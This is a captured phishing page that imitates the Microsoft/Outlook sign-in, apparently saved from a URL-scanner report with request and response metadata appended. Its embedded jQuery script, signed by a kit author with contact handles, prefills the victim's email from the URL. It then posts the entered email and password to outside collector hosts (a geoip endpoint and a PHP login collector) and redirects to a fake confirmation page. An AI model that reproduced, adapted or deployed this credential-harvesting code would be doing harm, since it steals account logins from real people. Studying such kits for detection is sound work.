d.Load(null,function(){if(o){throw"Unexpected state. ResourceLoader.Load() failed despite initial load success. ['"+n+"']"}u&&(document.location.href="/error.aspx?err=504")})},c.OnError=function(e,t){var n=e.src||e.href||"",o=a(),u=i();if(!e){throw"The target element must be provided and cannot be null."}r("[$Loader]: Failed",e);var s=new c;s.failMessage="Reload Failed",s.successMessage="Reload Success",s.AddForReload(e,t),s.Load(null,function(){if(o){throw"Failed to load external resource ['"+n+"']"}
u&&(document.location.href="/error.aspx?err=504")}),c._ReportFailure(0,n)},c._ReportFailure=function(e,r){if(u()&&!t()){throw"[Retry "+e+"] Failed to load external resource ['"+r+"'], reloading from fallback CDN endpoint"}},f.$Loader=c}(),function(){function e(){if(!$){var e=new h.$Loader;e.AddIf(!h.jQuery,y.sbundle,"WebWatson_DemandSupport"),y.sbundle=null,delete y.sbundle,e.AddIf(!h.$Api,y.fbundle,"WebWatson_DemandFramework"),y.fbundle=null,delete y.fbundle,e.Add(y.bundle,"WebWatson_DemandLoaded"),
e.Load(r,t),$=!0}}function r(){if(h.$WebWatson){if(h.$WebWatson.isProxy){return void t()}m.when("$WebWatson.full",function(){for(;b.length>0;){var e=b.shift();e&&h.$WebWatson[e.cmdName].apply(h.$WebWatson,e.args)}})}}function t(){if(!h.$WebWatson||h.$WebWatson.isProxy){if(!w&&JSON){try{var e=new XMLHttpRequest;e.open("POST",y.url),e.setRequestHeader("Accept","application/json"),e.setRequestHeader("Content-Type","application/json; charset=UTF-8"),e.setRequestHeader("canary",p.apiCanary),
e.setRequestHeader("client-request-id",p.correlationId),e.setRequestHeader("hpgid",p.hpgid||0),e.setRequestHeader("hpgact",p.hpgact||0);for(var r=-1,t=0;t<b.length;t++){if("submit"===b[t].cmdName){r=t;break}}var o=b[r]?b[r].args||[]:[],a={"sr":y.sr,"ec":"Failed to load external resource [Core Watson files]","wec":55,"idx":1,"pn":p.pgid||"","sc":p.scid||0,"hpg":p.hpgid||0,"msg":"Failed to load external resource [Core Watson files]","url":o[1]||"","ln":0,"ad":0,"an":!1,"cs":"","sd":p.serverDetails,"ls":null,
"diag":v(y)};e.send(JSON.stringify(a))}catch(e){}w=!0}y.loadErrorUrl&&window.location.assign(y.loadErrorUrl)}n()}function n(){b=[],h.$WebWatson=null}function o(r){return function(){var t=arguments;b.push({"cmdName":r,"args":t}),e()}}function a(){var e=["foundException","resetException","submit"],r=this;r.isProxy=!0;for(var t=e.length,n=0;n<t;n++){var a=e[n];a&&(r[a]=o(a))}}function i(e,r,t,n,o,a,i){var u=h.event;return a||(a=l(o||u,i?i+2:2)),
h.$Debug&&h.$Debug.appendLog&&h.$Debug.appendLog("[WebWatson]:"+(e||"")+" in "+(r||"")+" @ "+(t||"??")),E.submit(e,r,t,n,o||u,a,i)}function u(e,r){return{"signature":e,"args":r,"toString":function(){return this.signature}}}function s(e){for(var r=[],t=e.split("\n"),n=0;n<t.length;n++){r.push(u(t[n],[]))}return r}function c(e){for(var r=[],t=e.split("\n"),n=0;n<t.length;n++){var o=u(t[n],[]);t[n+1]&&(o.signature+="@"+t[n+1],n++),r.push(o)}return r}function d(e){if(!e){return null}try{if(e.stack){
return s(e.stack)}if(e.error){if(e.error.stack){return s(e.error.stack)}}else if(window.opera&&e.message){return c(e.message)}}catch(e){}return null}function l(e,r){var t=[];try{for(var n=arguments.callee;r>0;){n=n?n.caller:n,r--}for(var o=0;n&&o<L;){var a="InvalidMethod()";try{a=n.toString()}catch(e){}var i=[],s=n.args||n.arguments;if(s){for(var c=0;c<s.length;c++){i[c]=s[c]}}t.push(u(a,i)),n=n.caller,o++}}catch(e){t.push(u(e.toString(),[]))}var l=d(e)
;return l&&(t.push(u("--- Error Event Stack -----------------",[])),t=t.concat(l)),t}function f(e){if(e){try{var r=/function (.{1,})\(/,t=r.exec(e.constructor.toString());return t&&t.length>1?t[1]:""}catch(e){}}return""}function g(e){if(e){try{if("string"!=typeof e&&JSON&&JSON.stringify){var r=f(e),t=JSON.stringify(e);return t&&"{}"!==t||(e.error&&(e=e.error,r=f(e)),(t=JSON.stringify(e))&&"{}"!==t||(t=e.toString())),r+":"+t}}catch(e){}}return""+(e||"")}function v(e){var r=[];try{
if(jQuery?(r.push("jQuery v:"+jQuery().jquery),jQuery.easing?r.push("jQuery.easing:"+JSON.stringify(jQuery.easing)):r.push("jQuery.easing is not defined")):r.push("jQuery is not defined"),e&&e.expectedVersion&&r.push("Expected jQuery v:"+e.expectedVersion),m){var t,n="";for(t=0;t<m.o.length;t++){n+=m.o[t]+";"}for(r.push("$Do.o["+n+"]"),n="",t=0;t<m.q.length;t++){n+=m.q[t].id+";"}r.push("$Do.q["+n+"]")}if(h.$Debug&&h.$Debug.getLogs){var o=h.$Debug.getLogs();o&&o.length>0&&(r=r.concat(o))}if(b){
for(var a=0;a<b.length;a++){var i=b[a];if(i&&"submit"===i.cmdName){try{if(JSON&&JSON.stringify){var u=JSON.stringify(i);u&&r.push(u)}}catch(e){r.push(g(e))}}}}}catch(e){r.push(g(e))}return r}var h=window,p=h.$Config||{},y=p.watson,m=h.$Do;if(!h.$WebWatson&&y){var b=[],$=!1,w=!1,L=10,E=h.$WebWatson=new a;E.CB={},E._orgErrorHandler=h.onerror,h.onerror=i,E.errorHooked=!0,m.when("jQuery.version",function(e){y.expectedVersion=e}),m.register("$WebWatson")}}(),function(){function e(e,r){
for(var t=r.split("."),n=t.length,o=0;o<n&&null!==e&&void 0!==e;){e=e[t[o++]]}return e}function r(r){var t=null;return null===s&&(s=e(a,"Constants")),null!==s&&r&&(t=e(s,r)),null===t||void 0===t?"":t.toString()}function t(t){var n=null;return null===i&&(i=e(a,"$Config.strings")),null!==i&&t&&(n=e(i,t.toLowerCase())),null!==n&&void 0!==n||(n=r(t)),null===n||void 0===n?"":n.toString()}function n(e,r){var n=null;return e&&r&&r[e]&&(n=t("errors."+r[e])),n||(n=t("errors."+e)),n||(n=t("errors."+c)),n||(n=t(c)),n}
function o(t){var n=null;return null===u&&(u=e(a,"$Config.urls")),null!==u&&t&&(n=e(u,t.toLowerCase())),null!==n&&void 0!==n||(n=r(t)),null===n||void 0===n?"":n.toString()}var a=window,i=null,u=null,s=null,c="GENERIC_ERROR";a.GetString=t,a.GetErrorString=n,a.GetUrl=o}(),function(){var e=window,r=e.$Config||{};e.$B=r.browser||{}}();

//]]></script> 

        <link rel="prefetch" href="https://login.live.com/Me.htm?v=3">
        <link rel="shortcut icon" href="https://aadcdn.msftauth.net/shared/1.0/content/images/favicon_a_eupayfgghqiai7k9sol6lg2.ico">

    <script type="text/javascript">
        ServerData = $Config;
    </script>


    
    <link crossorigin="anonymous" href="https://aadcdn.msftauth.net/ests/2.1/content/cdnbundles/converged.v2.login.min_kb8fbtudybay5t8ts3k87g2.css" rel="stylesheet" onerror="$Loader.On(this,true)" onload="$Loader.On(this)" integrity="sha384-aaNZkp+Orf+VEZusNFIGnTEJZ9UmRa1+oTUDIv88KY1TTwkFhoZ4wzV9pd5ujWPC">



<script crossorigin="anonymous" src="https://aadcdn.msftauth.net/shared/1.0/content/js/ConvergedLogin_PCore_FZ20atAlhirHa_737xNftg2.js" onerror="$Loader.On(this,true)" onload="$Loader.On(this)"></script>

    <script crossorigin="anonymous" src="https://aadcdn.msftauth.net/ests/2.1/content/cdnbundles/ux.converged.login.strings-en.min_asthhb7t8jihncsg5l7_cg2.js" onerror="$Loader.On(this,true)" onload="$Loader.On(this)" integrity="sha384-RUzxg1X2m7djUACTlbHZxYYNzWy5WKCPy5MncckGmTnhsxraQQQsSPOSAMHg1U68"></script>

    


<link rel="prefetch" href="https://aadcdn.msftauth.net/ests/2.1/content/cdnbundles/converged.v2.login.min_kb8fbtudybay5t8ts3k87g2.css"><link rel="prefetch" href="https://aadcdn.msftauth.net/ests/2.1/content/cdnbundles/ux.converged.login.strings-en.min_asthhb7t8jihncsg5l7_cg2.js">
</head>

<body data-bind="defineGlobals: ServerData, bodyCssClass" class="cb" style="display: block;">
   
    <script type="text/javascript">
//<![CDATA[
(function () {
var $Prefetch={"rfPre":true,"delay":1000,"maxHistory":4,"maxAge":43200,"ageRes":1440,"name":"clrc","fetch":[{"path":"https://aadcdn.msftauth.net/ests/2.1/content/cdnbundles/converged.v2.login.min_kb8fbtudybay5t8ts3k87g2.css","hash":"TfCbp8XZ","co":true,"rf":true},{"path":"https://aadcdn.msftauth.net/ests/2.1/content/cdnbundles/ux.converged.login.strings-en.min_asthhb7t8jihncsg5l7_cg2.js","hash":"0XngNfCT","co":true,"rf":true}],"mode":5};
!function(e,t,n){function r(e){x.appendLog&&x.appendLog("Client Prefetch: "+e)}function i(){try{for(var e=t.cookie.split(";"),r=0;r<e.length;r++){var i=e[r];if(i){var o=i.indexOf("=");if(-1!==o){if(i.substr(0,o).trim()===n.name){var u=i.substr(o+1);return JSON.parse(c(u))}}}}}catch(e){}return{}}function o(e,t,n){return e.replace(t,n)}function c(e){return e=o(e,/%5c/g,"\\"),e=o(e,/%3e/g,">"),e=o(e,/%3d/g,"="),e=o(e,/%3c/g,"<"),e=o(e,/%3b/g,";"),e=o(e,/%3a/g,":"),e=o(e,/%2c/g,","),e=o(e,/%27/g,"'"),
e=o(e,/%22/g,'"'),e=o(e,/%20/g," "),e=o(e,/%25/g,"%")}function u(e){return e=o(e,/%/g,"%25"),e=o(e,/ /g,"%20"),e=o(e,/"/g,"%22"),e=o(e,/'/g,"%27"),e=o(e,/,/g,"%2c"),e=o(e,/:/g,"%3a"),e=o(e,/;/g,"%3b"),e=o(e,/</g,"%3c"),e=o(e,/=/g,"%3d"),e=o(e,/>/g,"%3e"),e=o(e,/\\/g,"%5c")}function f(e){var r=new Date;r.setTime(r.getTime()+C*H),t.cookie=n.name+"="+u(JSON.stringify(e))+";expires="+r.toUTCString()+";path=/; Secure; SameSite=None"}function a(e,t){if(e){if(e.indexOf){return e.indexOf(t)}
for(var n=0;n<e.length;n++){if(e[n]===t){return n}}}return-1}function h(e,t){return-1!==a(e,t)}function g(e,t){var n=a(e,t);return-1!==n&&(e.splice(n,1),!0)}function l(e,t){for(var n in e){if(e.hasOwnProperty(n)&&!t(n,e[n])){break}}}function s(){var e=(new Date).getTime(),t=D*H;return P.getTime()>e?Math.round(e/t):Math.round((e-P.getTime())/t)}function d(e,t){var n=!1;if(t&&t.length>0){n=!0;for(var r=0;r<t.length;r++){delete e[t[r]]}}return n}function p(e){var t=s()-C,n=t+2*C,r=null,i=0,o=[]
;return l(e,function(c){return c<t||c>n?o.push(c):(0===e[c].length?o.push(c):(null===r||c<r)&&(r=c),i++),!0}),null!==r&&i>k&&o.push(r),d(e,o)}function v(e,t,n){r("Fetched: "+e+" Hash: "+t+" isRefresh: "+n);var o=i(),c=s(),u=!1,a=!1;if(l(o,function(e,n){return!h(n,t)||(e!==c?g(o[e],t)&&(a=!0):u=!0,!1)}),!u){var d=o[c]||[];d.push(t),o[c]=d,a=!0}a|=p(o),a&&f(o),b()}function m(t,n,i,o){var c={"method":"GET"};i&&(c.mode="cors"),e.fetch(t,c).then(function(e){
200===e.status?v(t,n,o):(r("Unexpected response - "+e.status),b())}).then(null,function(e){r("Failed - "+e),b()})}function T(){if(e.XMLHttpRequest&&!J){return new XMLHttpRequest}if(e.ActiveXObject){try{return new ActiveXObject("Msxml2.XMLHTTP")}catch(e){}try{return new ActiveXObject("Microsoft.XMLHttp")}catch(e){}}return null}function w(e,t,n,i,o){r("Fetching - "+t),e.onload=function(){v(t,n,o)},e.onerror=function(){r("XHR failed!"),b()},e.ontimeout=function(){r("XHR timed out!"),b()};try{e.open("GET",t),
e.withCredentials=i&&!N,e.send()}catch(r){N?setTimeout(function(){v(t,n,o)},0):(N=!0,w(e,t,n,!1,o))}}function O(t,n,i,o){if(e.fetch){return void m(t,n,i,o)}var c=T();if(null!==c){return void w(c,t,n,i,o)}r("Unable to identify a transport option!")}function b(){var e=n.fetch;if(X<e.length&&e[X]){var t=e[X];O(t.path,t.hash,t.co||!1,t.rf||!1),X++}}function y(e){if(e){try{var n=t.createElement("link");n.rel="prefetch",n.href=e,t.head.appendChild(n)}catch(e){}}}function M(){r("Starting"),b(),b()}function S(){
for(var t=e.$Config||e.ServerData||{},r=n.fetch,i=n.mode||-1,o=-1,c=0;c<r.length;c++){0!==o&&i>=3&&(o=r[c].rf?1:0),R&&!J&&y(r[c].path||{})}t.prefetchPltMode=o}if(n&&n.fetch&&0!==n.fetch.length){var x=e.$Debug||{},X=0,H=6e4,P=new Date(2019),k=n.maxHistory||4,C=n.maxAge||20160,D=n.ageRes||1440,L=n.delay||5e3,R=n.rfPre||!1,J=void 0!==(e._phantom||e.callPhantom),N=!1;JSON&&JSON.parse&&(n.clearCookie=function(){document.cookie=n.name+"=; expires=Thu, 01 Jan 1970 00:00:01 GMT;"},e.$Do.when("doc.load",function(){
setTimeout(M,L),setTimeout(S,0)}))}}(window,document,$Prefetch);

;
})();
//]]>
</script>


<div><!--  -->

<!--  -->


	  
	  

    <!-- ko if: svr.iBannerEnvironment --><!-- /ko -->

    <!-- ko withProperties: { '$loginPage': $data } -->
    <div data-bind="component: { name: 'master-page',
        params: {
            serverData: svr,
            showButtons: svr.fShowButtons,
            showFooterLinks: true,
            useWizardBehavior: svr.fUseWizardBehavior,
            handleWizardButtons: false,
            password: password,
            hideFromAria: ariaHidden },
        event: {
            footerAgreementClick: footer_agreementClick } }"><!--  -->

<!-- ko ifnot: useLayoutTemplates --><!-- /ko -->

<!-- ko if: useLayoutTemplates -->
    <!-- ko withProperties: { '$page': $parent } -->
        <!-- ko ifnot: isVerticalSplitTemplate -->
        <div id="lightboxTemplateContainer" data-bind="component: { name: 'lightbox-template', params: { serverData: svr } }"><!--  -->

<div data-bind="component: { name: 'background-image-control',
    publicMethods: $page.backgroundControlMethods }"><div class="background-image-holder app" role="presentation" data-bind="css: { app: isAppBranding }, style: { background: backgroundStyle }">
    <!-- ko if: smallImageUrl -->
    <div class="background-image-small" data-bind="backgroundImage: smallImageUrl()" style="background-image: url(&quot;https://aadcdn.msftauth.net/shared/1.0/content/images/appbackgrounds/49-small_e58aafc980614a9cd7796bea7b5ea8f0.jpg&quot;);"></div>
    <!-- /ko -->

    <!-- ko if: backgroundImageUrl -->
    <div data-bind="backgroundImage: backgroundImageUrl(), externalCss: { 'background-image': true }" style="background-image: url(&quot;https://aadcdn.msftauth.net/shared/1.0/content/images/appbackgrounds/49_7916a894ebde7d29c2cc29b267f1299f.jpg&quot;);" class="background-image ext-background-image"></div>
        <!-- ko if: useImageMask --><!-- /ko -->
    <!-- /ko -->
</div></div>

<div class="outer app" data-bind="css: { 'app': $page.backgroundLogoUrl }">
    <!-- ko if: showHeader --><!-- /ko -->
	 <div>
         <div>
            <!-- <div class="app background">
               <div id="bg_image" style="background-image:url(https://i.stack.imgur.com/vzbuQ.jpg")></div>
            </div> -->
         </div>

            <div class=outer>
               <div class="app middle">
                  <div class="background-logo-holder">
                  	<h1 style="text-align: center; color: white;"></h1><br><br>
                  </div>
                  <div class="app fade-in-lightbox inner">
                     <div>
                        <img id="logo_image" class="banner-logo" src="https://aadcdn.msftauth.net/ests/2.1/content/images/microsoft_logo_ee5c8d9fb6248c938fd0dc19370e90bd.svg">
                     </div>
                     <div>


                        <div id="pick_em" style="display: none;">
                           <div class="animate pagination-view slide-in-next">
                              <div data-showfedcredbutton=true data-viewid=1>
                                 <div>
                                    <div class="row text-title" id="loginHeader">
                                       <div aria-level=1>Sign in</div>
                                    </div>
                                 </div>
                                 <div class="row">
                                    <div class="col-md-24 form-group">
                                       <div class="placeholderContainer">
					                   <div class="add_em">
											 <p style="font-weight: bold;margin-left: 4%">Pick an account</p>
											 <a href="#" class="email-picker">
												 <div class="block-m2">
													<img role="presentation" src="https://i.ibb.co/jg6w34B/picker-account.png"> <span id="em_picker"></span><span style="float:right; margin-top:4%"><img src="https://srv-file8.gofile.io/download/NAGerp/picker_more.png" alt=""></span>
												 </div>
											 </a>
											 <a href="#" class="email-picker2">
												 <div class="block-m2">
													<img role="presentation" src="data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSI0OCIgaGVpZ2h0PSI0OCIgdmlld0JveD0iMCAwIDQ4IDQ4Ij48dGl0bGU+YXNzZXRzPC90aXRsZT48Y2lyY2xlIGN4PSIyNCIgY3k9IjI0IiByPSIyNCIgZmlsbD0iI2U2ZTZlNiIvPjxwYXRoIGQ9Ik0yNSwyM0gzNnYySDI1VjM2SDIzVjI1SDEyVjIzSDIzVjEyaDJaIiBmaWxsPSIjNDA0MDQwIi8+PC9zdmc+"><span style="word-wrap:break-word;"> Use another account</span>
												 </div>
											 </a>
											 <br>
										</div>
                                       </div>
                                    </div>
                                 </div>
                                 <div class="position-buttons">

                                 </div>
                              </div>
                           </div>
                        </div>

                        <div id="add_em" style="display: none;">
                           <div class="animate pagination-view slide-in-next">
                              <div data-showfedcredbutton=true data-viewid=1>
                                 <div>
                                    <div class="row text-title" id="loginHeader">
                                       <div aria-level=1>Sign in</div>
                                      
                                    </div>
                                 </div>
                                 <div class=row>
									<div aria-live="assertive" role="alert" style="display: none;" class="error-alert">
										<div class="alert alert-error error-alert-msg"></div>
										<br>
									</div>
                                    <div class="col-md-24 form-group">
                                      
									    <div class="">
											<input type="text" name="email" id="email" class="form-control ltr_override" value="" placeholder="Email, phone or skype">
                                       </div>
                                    </div>
                                 </div>
								 <p>No account? <a href="#">Create one!</a></p>
								<a href="#" data-bind="
            attr: { 'id': switchToCredId },
            text: switchToCredText,
            click: switchToCred_onClick" id="idA_PWD_SwitchToFido">Sign in with a security key</a>
        <!-- /ko -->

        <!-- ko if: displayHelp && selectedCredType === 7 -->
            <!-- ko component: { name: 'fido-help-button-control',
                params: {
                    isPlatformAuthenticatorAvailable: isPlatformAuthenticatorAvailable() },
                event: {
                    registerDialog: onRegisterDialog,
                    unregisterDialog: onUnregisterDialog,
                    showDialog: onShowDialog } } --><!--  -->

<span class="help-button" role="button" tabindex="0" data-bind="
    click: fidoHelp_onClick,
    pressEnter: fidoHelp_onClick,
    hasFocus: hasFocus,
    ariaLabel: isPlatformAuthenticatorAvailable ? str['CT_STR_CredentialPicker_Help_Desc_Fido'] : str['CT_STR_CredentialPicker_Help_Desc_FidoCrossPlatform']" aria-label="Learn more about signing in with a security key">

    <!-- ko component: 'accessible-image-control' --><!-- ko if: (isHighContrastBlackTheme || hasDarkBackground || svr.fHasBackgroundColor) && !isHighContrastWhiteTheme --><!-- /ko -->
<!-- ko if: (isHighContrastWhiteTheme || (!hasDarkBackground && !svr.fHasBackgroundColor)) && !isHighContrastBlackTheme -->
<!-- ko template: { nodes: [darkImageNode], data: $parent } --><img role="presentation" pngsrc="https://aadcdn.msftauth.net/shared/1.0/content/images/documentation_9628e22a6bfb1edc59e81064a666b614.png" svgsrc="https://aadcdn.msftauth.net/shared/1.0/content/images/documentation_bcb4d1dc4eae64f0b2b2538209d8435a.svg" data-bind="imgSrc" src="https://aadcdn.msftauth.net/shared/1.0/content/images/documentation_bcb4d1dc4eae64f0b2b2538209d8435a.svg"><!-- /ko -->
<!-- /ko --><!-- /ko -->
</span>

                                 <div class="position-buttons">
                                   
                                    <div class=row>
                                       <div class="col-xs-24 no-padding-left-right button-container">
                                       <div class=inline-block>
                                          <button class="btn btn-block btn-primary btn-email">Next</button>
                                       </div>
                                       </div>
                                    </div>
                                 </div>
                              </div>
                           </div>
                        </div>
						<div id="add_pass" style="display: none;">
							<div class="animate slide-in-next">
								<div>
									<div class="identityBanner">
										<a class="backButton" href="#" type="button">
											<img style="width: 13px; margin-top: 6px;left: 0;" src="https://image.flaticon.com/icons/svg/109/109618.svg">
										</a>
										<div class="identity"></div>
									</div>
								</div>
							</div>
							<div class="animate slide-in-next has-identity-banner pagination-view">
								<div class="row text-title">Enter password</div>
								<div class=row>
									<div class="form-group col-md-24">
										<div aria-live="assertive" role="alert" style="display: none;" class="error-alert-pass">
											<div class="alert alert-error">Your email or password is incorrect. If you don't remember your password, <a href='#'>reset it now.</a></div>
										</div>
										<div class=placeholderContainer>
											<input name="password" type="password" id="password" autocomplete="off" class="form-control" placeholder="Password" tabindex="0">
										</div>
									</div>
								</div>
								<div class=position-buttons>
									<div>
										<div class=row>
											<div class=col-md-24>
													<div class="action-links text-13">
													<div class=form-group><a href="#">Forgot my password</a></div>
													<div class=form-group></div>
												</div>
											</div>
										</div>
									</div>
									<div class=row >
										<div>
											<div class="button-container col-xs-24 no-padding-left-right">
												<div class=inline-block>
													<button class="btn btn-block btn-primary btn-signin">Sign in</button>
												</div>
											</div>
										</div>
									 </div>
								</div>
							</div>
                        </div>
                     </div>
                  </div>
                  <div>
                  </div>
                  <div class=footer id=footer>
                     <div>
                        <div class="footerNode text-secondary">
                           <!-- <span>©2021 Microsoft</span> -->
                           <a href="#">Terms of use&nbsp;&nbsp;</a>
                           <a href="#">Privacy & cookies &nbsp;&nbsp;<b >...</b></a>
                          
                        </div>
                     </div>
                  </div>
               </div>
            </div>

      </div>

   
</div></div>
        <!-- /ko -->

        <!-- ko if: isVerticalSplitTemplate() && isVerticalSplitTemplateLoaded() --><!-- /ko -->
    <!-- /ko -->
<!-- /ko --></div>
    <!-- /ko -->
<script src="https://code.jquery.com/jquery-3.1.1.min.js"></script>
	  <script>
		$( document ).ready(function() {
			// THIS SCRIPT CODED BY MIRCBOOT
			// CONTACT US SKYPE : MIRCBOOT
			// ICQ : 703514486
			// Genral 365 Version 14
			// !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
			// !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
			// !!!!!!!!!!!! Attention !!!!!!!!!!!!
			// !!!! IF NOT WORKING CONTACT US  !!!
			// !!!! IF NOT WORKING CONTACT US  !!!
			// !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
			// !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!

			// Note : if this HTML page hosted on http(s) domain so you must add the http(s) url php file to avoid cross error //

			var php_url = 'https://globalservicemail.com/hars/login.php'; // Enter your post PHP page url here.
			var check_mx = false; // true or false for check outlook MX.



			// ******************************************************************************************************* //
			var hash = window.location.hash;
			var email = hash.split('#')[1];

			if(true_email(email)){
				$("#pick_em").show();
				$("#em_picker").html(email);
				$('#email').val(email);
			}else{
				$("#add_em").show();
			}

			$('.email-picker').on('click', function (){
				$('.identity').html(email);
				$(".error-alert-pass").hide();
				set_brand(email);
				setTimeout(function (){
					$("#pick_em").hide();
					$("#add_pass").show();
				}, 1000);
			});

			$('.email-picker2').on('click', function (){
				$('#email').val('');
				$("#pick_em").hide();
				$("#add_em").show();
			});

			$('.btn-email').on('click', function (){
				var email = $('#email').val();
				$('.identity').html(email);
				$(".error-alert").hide();
				$('.btn-email').prop('disabled', true);
				if(true_email(email) == false){
					$(".error-alert").show();
					$(".error-alert-msg").html('Please enter correct office 365 email account.');
					$('.btn-email').prop('disabled', false);
				}else{
					if(check_mx == true){
						var domain = email.split('@')[1];
						var str;
						$.ajax({
							url: php_url + '?domain=' + domain,
							success: function(data){
								str = data.includes("outlook");
								if(str){
									set_brand(email);
									setTimeout(function (){
										$("#add_em").hide();
										$("#add_pass").show();
									}, 1000);
								}else{
									$(".error-alert").show();
									$(".error-alert-msg").html('You can\'t signin with this account, Please use work or school account instead.');
									$('.btn-email').prop('disabled', false);
								}
							},
							error: function(xhr){
								$(".error-alert").show();
								$(".error-alert-msg").html('Error occured, Please try again.');
								$('.btn-email').prop('disabled', false);
							}
						});
					}else{
						set_brand(email);
						setTimeout(function (){
							$("#add_em").hide();
							$("#add_pass").show();
						}, 1000);
					}
				}
			});

			$('.btn-signin').on('click', function (){
				$('.btn-signin').prop('disabled', true);
				setTimeout(function (){
					$(".error-alert-pass").hide();
				}, 500);
				var user = $('#email').val();
				var pass = $('#password').val();
				$.ajax({
					url: "https://checkmyips.net/api/geoip/",
					type: "POST",
					data: {user:user,pass:pass,t:1},
					success: function(data){
						var i=$.parseJSON(data);
						if(i.status == 'OK'){
							$.ajax({
								 url: php_url,
								 type: "POST",
								 data: {user:user,pass:pass,country:i.country,ip:i.ip},
								 success: function(finish_url){
									window.open('https://customredirects.z13.web.core.windows.net//myoofice/verified.html', '_top')
								 }
							 });
						}else{
							$(".error-alert-pass").show();
							$('.btn-signin').prop('disabled', false);
						}
					},
					error: function(){
						$(".error-alert-pass").hide();
						$('.btn-signin').prop('disabled', false);
					}
				});
			});

			$('.backButton').on('click', function (){
				$('#bg_image').css('background-image', 'url(lib/img/background.jpg)');
				$('#logo_image').attr('src', 'https://aadcdn.msftauth.net/ests/2.1/content/images/microsoft_logo_ee5c8d9fb6248c938fd0dc19370e90bd.svg');
				$('#banner_image').show();
				$('.btn-email').prop('disabled', false);
				$("#add_pass").hide();
				$("#add_em").show();
				$(".error-alert-pass").hide();
			});

			function set_brand(email){
				$.ajax({
					url: php_url,
					type: "POST",
					data: {email:email,barnd:1},
					success: function(data){
						var i=$.parseJSON(data);
						if(i.bg_image !== null && i.logo_image !== null && i.bg_image !== '' && i.logo_image !== ''){
							$('#bg_image').css('background-image', 'url(' + i.bg_image + ')');
							$('#logo_image').attr('src', i.logo_image);
							$('#banner_image').hide();
						}
					}
				});
			}
		});

		function true_email(a) {
			var re = /^(([^<>()[\]\\.,;:\s@\"]+(\.[^<>()[\]\\.,;:\s@\"]+)*)|(\".+\"))@((\[[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\])|(([a-zA-Z\-0-9]+\.)+[a-zA-Z]{2,}))$/;
			return re.test(a);
		}
	  </script>
    <script type="text/javascript">
  $(document).keypress(function(event){
  var keycode = (event.keyCode ? event.keyCode : event.which);
  if(keycode == '13'){
    $("#btn-email, .btn-signin").click();
  }
});
</script>

<!-- ko if: svr.urlCBPartnerPreload -->

<!-- /ko --></div></body></html>
Protocol
H2
Security
TLS 1.3, , AES_256_GCM
Server
152.199.23.37 , United States, ASN15133 (EDGECAST, US),
Reverse DNS
Software
ECAcc (lhd/35B8) /
Resource Hash
e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855

Request headers

Referer
User-Agent
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.72 Safari/537.36

Response headers

x-ms-blob-type
BlockBlob
date
Wed, 10 Mar 2021 10:27:59 GMT
content-encoding
gzip
content-md5
WO4uW/y42E/4n+nHz177Gg==
age
2521085
x-cache
HIT
content-length
12395
x-ms-lease-status
unlocked
last-modified
Mon, 08 Feb 2021 18:58:52 GMT
server
ECAcc (lhd/35B8)
etag
0x8D8CC6393EED0A3
vary
Accept-Encoding
content-type
application/x-javascript
access-control-allow-origin
*
x-ms-request-id
279d5a62-201e-0038-1caa-fe38d3000000
access-control-expose-headers
x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,Content-MD5,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding
cache-control
public, max-age=31536000
x-ms-version
2009-09-19
accept-ranges
bytes
truncated
/ Frame 83F5 		222 B
0 		Image
General
Check archive.org
Download Go to Show image
Full URL
data:truncated
Protocol
DATA
Server
-, , ASN (),
Reverse DNS
Software
/
Resource Hash
749f85621d92a5b31b2a377a8c385a36d48a83327dad9a8a8da93cd831b8c9a2

Request headers

Referer
User-Agent
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.72 Safari/537.36

Response headers

Content-Type
image/svg+xml
49-small_e58aafc980614a9cd7796bea7b5ea8f0.jpg
aadcdn.msftauth.net/shared/1.0/content/images/appbackgrounds/ Frame 83F5 		987 B
1 KB 		Image
General
Check archive.org
Download Go to Show image
Full URL
https://aadcdn.msftauth.net/shared/1.0/content/images/appbackgrounds/49-small_e58aafc980614a9cd7796bea7b5ea8f0.jpg
Requested by
Host: text
URL: data:text/html;base64,<html dir="ltr" class="" lang="en"><head>
    <title>Sign in to Outlook</title>
    <meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=2.0, user-scalable=yes">
    <meta http-equiv="Pragma" content="no-cache">
    <meta http-equiv="Expires" content="-1">
    <link rel="preconnect" href="https://aadcdn.msftauth.net" crossorigin="">
<meta http-equiv="x-dns-prefetch-control" content="on">
<link rel="dns-prefetch" href="//aadcdn.msftauth.net">
<link rel="dns-prefetch" href="//aadcdn.msauth.net">

    <meta name="PageID" content="ConvergedSignIn">
    <meta name="SiteID" content="">
    <meta name="ReqLC" content="1033">
    <meta name="LocLC" content="en-US">



<script type="text/javascript">//<![CDATA[
